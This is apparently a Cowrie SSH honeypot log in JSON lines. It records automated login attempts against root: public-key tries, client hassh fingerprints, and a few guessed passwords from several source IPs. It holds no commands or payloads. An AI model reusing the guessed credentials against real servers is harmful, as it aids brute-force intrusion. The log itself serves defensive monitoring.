{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:ae:12:a8:88:ed:df:b7:d7:ab:5d:e8:63:8c:44:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8LBNN8PjRWRTXF5rMNQ+y8ZE1pxBbMPn2e1YBV3a8luJSgjjnOehtZLlppdavyx1u3pKY6jz9phqsacTcezFh78cYghxX+7/zEJeMo1fM/D6t00nd4otl5S/+qZnogInETZzMfnEO6VjjBOVIjL41TtTuwhJqV58lPMKQXJwOwZq8NQ444bUng1GVDhrnRXNPVOIYWlj1ynGw5d173WHzljmXQsK8FLbLB7658Wy39XfFNpLzvg4ZnC1ocDL1LDxs8C6m9B8GHpjn901r0H9FJDhohgp9PNBmNF0zHv+MI6VsaOuZYF4tDmE4BBSJ3hX8RUWuxTfnojaWK9RsFk4V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.742427Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:92:2d:32:f2:a9:d1:af:78:d7:5e:23:f8:1b:92:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKF46eRL5bUFO83yTXKQ25Xw+XN+PD6mSMiu3YMkCTb02GH8iWDbr89pfcVr35OpDaI1hzr4fk1K75QXGSSuwVB1uaq7zbZWo8N3yE/q2g6Rm6jGa+xnpbnsDvGCuR8Sp9FYLG8syOVK+k9yjf5IVCSgKYU+FKValf7HxrB17pR6WuKAyamMyWwcU7mP4GZ1GyJPJThUMlrMg3tLKz/sT+WM1DsQIV6ZGDd6U2g83JNl3rlUbgmP41WhozllJVYDqQg9bJTMQRRNGsOoJFCc3vK2uyhuL2ikIO0QVFgETXXk8nk6lerT3f8gQd4Nv5Q92TyB0yTUiDEC4ldt0w0XJ9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:92:2d:32:f2:a9:d1:af:78:d7:5e:23:f8:1b:92:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.835423Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:92:2d:32:f2:a9:d1:af:78:d7:5e:23:f8:1b:92:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKF46eRL5bUFO83yTXKQ25Xw+XN+PD6mSMiu3YMkCTb02GH8iWDbr89pfcVr35OpDaI1hzr4fk1K75QXGSSuwVB1uaq7zbZWo8N3yE/q2g6Rm6jGa+xnpbnsDvGCuR8Sp9FYLG8syOVK+k9yjf5IVCSgKYU+FKValf7HxrB17pR6WuKAyamMyWwcU7mP4GZ1GyJPJThUMlrMg3tLKz/sT+WM1DsQIV6ZGDd6U2g83JNl3rlUbgmP41WhozllJVYDqQg9bJTMQRRNGsOoJFCc3vK2uyhuL2ikIO0QVFgETXXk8nk6lerT3f8gQd4Nv5Q92TyB0yTUiDEC4ldt0w0XJ9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.839659Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:73:cc:d0:47:42:b3:a0:e1:24:85:92:5e:e5:ec:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2JIQ1M1ukaR6PYx+wKbNwd4ikbZ3aPQt7w70RSqO3FNx1BvrDQMsziyzqI/kx4OmqIrEv78+HRlOWDXVRmjpJifk6FmbEZGM8pO1GLPZkoYPzHJ3EU1VqaNDW0mUhFUotwx+Fez0zyY01suA+ia5flmw3BwznZYIXPF14/xERp7XedueZWRRJ8IDJROkI6AHUGFEOIIX8tAAF5Bb4zgZIt1AgW6Bsq6VRj0j3CGhrdRixfjFneVaBRskUQ5PhCKHtgJN+KVm1hi0IJna/ioYRsJjhlNmButVKQvbIigFYMIgA5rfVWTfgjJntedN46AguuNUT6mEzZuF3DMMBZJ13w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:73:cc:d0:47:42:b3:a0:e1:24:85:92:5e:e5:ec:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.933482Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:73:cc:d0:47:42:b3:a0:e1:24:85:92:5e:e5:ec:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2JIQ1M1ukaR6PYx+wKbNwd4ikbZ3aPQt7w70RSqO3FNx1BvrDQMsziyzqI/kx4OmqIrEv78+HRlOWDXVRmjpJifk6FmbEZGM8pO1GLPZkoYPzHJ3EU1VqaNDW0mUhFUotwx+Fez0zyY01suA+ia5flmw3BwznZYIXPF14/xERp7XedueZWRRJ8IDJROkI6AHUGFEOIIX8tAAF5Bb4zgZIt1AgW6Bsq6VRj0j3CGhrdRixfjFneVaBRskUQ5PhCKHtgJN+KVm1hi0IJna/ioYRsJjhlNmButVKQvbIigFYMIgA5rfVWTfgjJntedN46AguuNUT6mEzZuF3DMMBZJ13w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:42.937334Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:2d:04:f7:cb:5d:a6:a5:9a:7f:c7:d8:a7:dc:bb:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRU9GnenlkA9vSH342gTaqekD/MLclN3hPH5G/BFeelsKhYfcg2N/NxCKB8jrsA6f7Gzk+8kKRat+dp8c05ZNnGZ2DYvQbQmux8OcmrGX9kOuFDvG3dh8ZpsXTDyYGRqxiGomu0gR3ADdmAauYpbgEty2gY922ok5qB05TkaWnlmr84tU9oNIhzcMCk2NlftplarjPEZWRFB1wTPfbDnoGGdYYg0qiA3EzTJFEGDnE2Tmdo1s+quQhp042DcGkOAsAtq/7VNziCNRg5hc9mkDyNRHn85G/CDJMqDD/ldfISXtKi3lJMDHalK8f8aTwkaKAHop2g+vChiI5uAnsa8PH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:2d:04:f7:cb:5d:a6:a5:9a:7f:c7:d8:a7:dc:bb:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.030237Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:2d:04:f7:cb:5d:a6:a5:9a:7f:c7:d8:a7:dc:bb:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRU9GnenlkA9vSH342gTaqekD/MLclN3hPH5G/BFeelsKhYfcg2N/NxCKB8jrsA6f7Gzk+8kKRat+dp8c05ZNnGZ2DYvQbQmux8OcmrGX9kOuFDvG3dh8ZpsXTDyYGRqxiGomu0gR3ADdmAauYpbgEty2gY922ok5qB05TkaWnlmr84tU9oNIhzcMCk2NlftplarjPEZWRFB1wTPfbDnoGGdYYg0qiA3EzTJFEGDnE2Tmdo1s+quQhp042DcGkOAsAtq/7VNziCNRg5hc9mkDyNRHn85G/CDJMqDD/ldfISXtKi3lJMDHalK8f8aTwkaKAHop2g+vChiI5uAnsa8PH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.034149Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":38020,"dst_ip":"159.203.135.109","dst_port":22,"session":"c486cec6d80b","protocol":"ssh","message":"New connection: 43.242.203.160:38020 (159.203.135.109:22) [session: c486cec6d80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.071630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.076949Z","src_ip":"43.242.203.160","session":"c486cec6d80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.128009Z","src_ip":"91.98.236.136","session":"dca912ec6653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":44984,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a0c13653c0e","protocol":"ssh","message":"New connection: 103.118.29.129:44984 (10.17.0.5:22) [session: 5a0c13653c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.259826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.264899Z","src_ip":"103.118.29.129","session":"5a0c13653c0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.321332Z","src_ip":"43.242.203.160","session":"c486cec6d80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:43.507176Z","src_ip":"103.118.29.129","session":"5a0c13653c0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:44.435675Z","src_ip":"43.242.203.160","session":"c486cec6d80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123,./","message":"login attempt [root/abc123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:44.496046Z","src_ip":"103.118.29.129","session":"5a0c13653c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:45.696378Z","src_ip":"43.242.203.160","session":"c486cec6d80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:45.739979Z","src_ip":"103.118.29.129","session":"5a0c13653c0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.232.11.10","src_port":1258,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceea9556b8fa","protocol":"ssh","message":"New connection: 136.232.11.10:1258 (10.17.0.5:22) [session: ceea9556b8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:58.063842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:58.068278Z","src_ip":"136.232.11.10","session":"ceea9556b8fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:58.311881Z","src_ip":"136.232.11.10","session":"ceea9556b8fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11221122","message":"login attempt [root/11221122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:59.306774Z","src_ip":"136.232.11.10","session":"ceea9556b8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.52.99","src_port":61840,"dst_ip":"10.17.0.5","dst_port":22,"session":"373833fa8adc","protocol":"ssh","message":"New connection: 68.235.52.99:61840 (10.17.0.5:22) [session: 373833fa8adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:59.842095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:59.847037Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:59:59.901064Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:61:c4:e1:5b:be:22:ee:bb:e5:01:d6:e0:d8:4a:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDadUGDo8ztHXE1bwgyZPdpGZbmJyemvgJI4LfQfX4f6MAy3ATCySf3P0SSn7M2gUM15BFAZAcrpsg2AtiWLpBuA9fqg+qUNvvPKOlpunhZDqBoTG/jYiWMtoV6k75K49GVhjgvpLylPOnHPET0mesw1BSwMMYCbMSovWZi/w7yQXoEZe+yuaz246R319nsNCcXfRSA1ZHc+KVTl6DVp53DCq0U3aM1ZOoShLA/fYFh3hftjz8Z16mAh/hPtgundJ9ooaiUWvmf/5Jc5jKk9Htl0Tu8YuF64Kv4FpwDNqxbCNPlBR427jB+SWxFutPOWBzLUJuHtwojt0C8TZg/zxk5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:61:c4:e1:5b:be:22:ee:bb:e5:01:d6:e0:d8:4a:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.141359Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:61:c4:e1:5b:be:22:ee:bb:e5:01:d6:e0:d8:4a:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDadUGDo8ztHXE1bwgyZPdpGZbmJyemvgJI4LfQfX4f6MAy3ATCySf3P0SSn7M2gUM15BFAZAcrpsg2AtiWLpBuA9fqg+qUNvvPKOlpunhZDqBoTG/jYiWMtoV6k75K49GVhjgvpLylPOnHPET0mesw1BSwMMYCbMSovWZi/w7yQXoEZe+yuaz246R319nsNCcXfRSA1ZHc+KVTl6DVp53DCq0U3aM1ZOoShLA/fYFh3hftjz8Z16mAh/hPtgundJ9ooaiUWvmf/5Jc5jKk9Htl0Tu8YuF64Kv4FpwDNqxbCNPlBR427jB+SWxFutPOWBzLUJuHtwojt0C8TZg/zxk5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.145628Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:1d:b1:53:b3:c5:1a:1e:a7:b1:f7:14:6d:b1:bf:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzOLcCKyk/go8LzUkF1AGkb9tJQjlC/JSsKLTa/tmrQv2bfmew8S7s10E59iV/5Ai1V6GffOeL2dbgvygGEHEUiu0liDf6g6ud5QwXsYBRmC8KyIGb5rvWYFQByqJCJudwdVT8/zD9pSDt37dtH9JWr7Quy/JgHntFb/FqgT3CbPmVo37jU4h+wfYgvWIs0Y4/o/U/YXeLh/A7qMa3o2h1jdaUC1MsHKQkZosvHTiaxJzpTfCOzgV5CKM5yMoIIMY83twLL0PUOKkl8ZRmhx/1h64WaTK7Y7FqJwJpVTsGsqEZUFqisSb0DuTiJ6c7IunSL8DugszAvvVzzoZuC4G7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:1d:b1:53:b3:c5:1a:1e:a7:b1:f7:14:6d:b1:bf:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.201627Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:1d:b1:53:b3:c5:1a:1e:a7:b1:f7:14:6d:b1:bf:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzOLcCKyk/go8LzUkF1AGkb9tJQjlC/JSsKLTa/tmrQv2bfmew8S7s10E59iV/5Ai1V6GffOeL2dbgvygGEHEUiu0liDf6g6ud5QwXsYBRmC8KyIGb5rvWYFQByqJCJudwdVT8/zD9pSDt37dtH9JWr7Quy/JgHntFb/FqgT3CbPmVo37jU4h+wfYgvWIs0Y4/o/U/YXeLh/A7qMa3o2h1jdaUC1MsHKQkZosvHTiaxJzpTfCOzgV5CKM5yMoIIMY83twLL0PUOKkl8ZRmhx/1h64WaTK7Y7FqJwJpVTsGsqEZUFqisSb0DuTiJ6c7IunSL8DugszAvvVzzoZuC4G7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.206288Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:04:85:8c:71:25:86:82:12:30:8d:55:e1:90:de:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1X0MmEd/dhQragNHdR49wwBaLuGCx/HjZTy4K/Y3psReWcqAB2ro+uDjoCHcygJZZ3/Umndx3jW9FCcvbJsSk4SZYi+7wRlu+Ogz/jLwLsuvYRdXiLKfEs2NcywTOgxfF9vJRHyoACU/33BiOav++peyG/HOF9k+SYpYizKU3fzwqDtRCobEOG/ryvc8FILPWKszxTEaX781t9/jZJyQ1ysTFQIek/mnKq4MY9KiSFGkdUch1DNyITRkoSG60xkKPopA0/YpVbHIJMfSIKu+/mjTvP8U5mYLYYA/5eiOxfgylEbo7JnxvGSrcH+Z3by0R1J3BgbkdGa0yxgUMsYl+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:04:85:8c:71:25:86:82:12:30:8d:55:e1:90:de:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.260611Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:04:85:8c:71:25:86:82:12:30:8d:55:e1:90:de:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1X0MmEd/dhQragNHdR49wwBaLuGCx/HjZTy4K/Y3psReWcqAB2ro+uDjoCHcygJZZ3/Umndx3jW9FCcvbJsSk4SZYi+7wRlu+Ogz/jLwLsuvYRdXiLKfEs2NcywTOgxfF9vJRHyoACU/33BiOav++peyG/HOF9k+SYpYizKU3fzwqDtRCobEOG/ryvc8FILPWKszxTEaX781t9/jZJyQ1ysTFQIek/mnKq4MY9KiSFGkdUch1DNyITRkoSG60xkKPopA0/YpVbHIJMfSIKu+/mjTvP8U5mYLYYA/5eiOxfgylEbo7JnxvGSrcH+Z3by0R1J3BgbkdGa0yxgUMsYl+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:00:00.264691Z","src_ip":"68.235.52.99","session":"373833fa8adc","protocol":"ssh"}
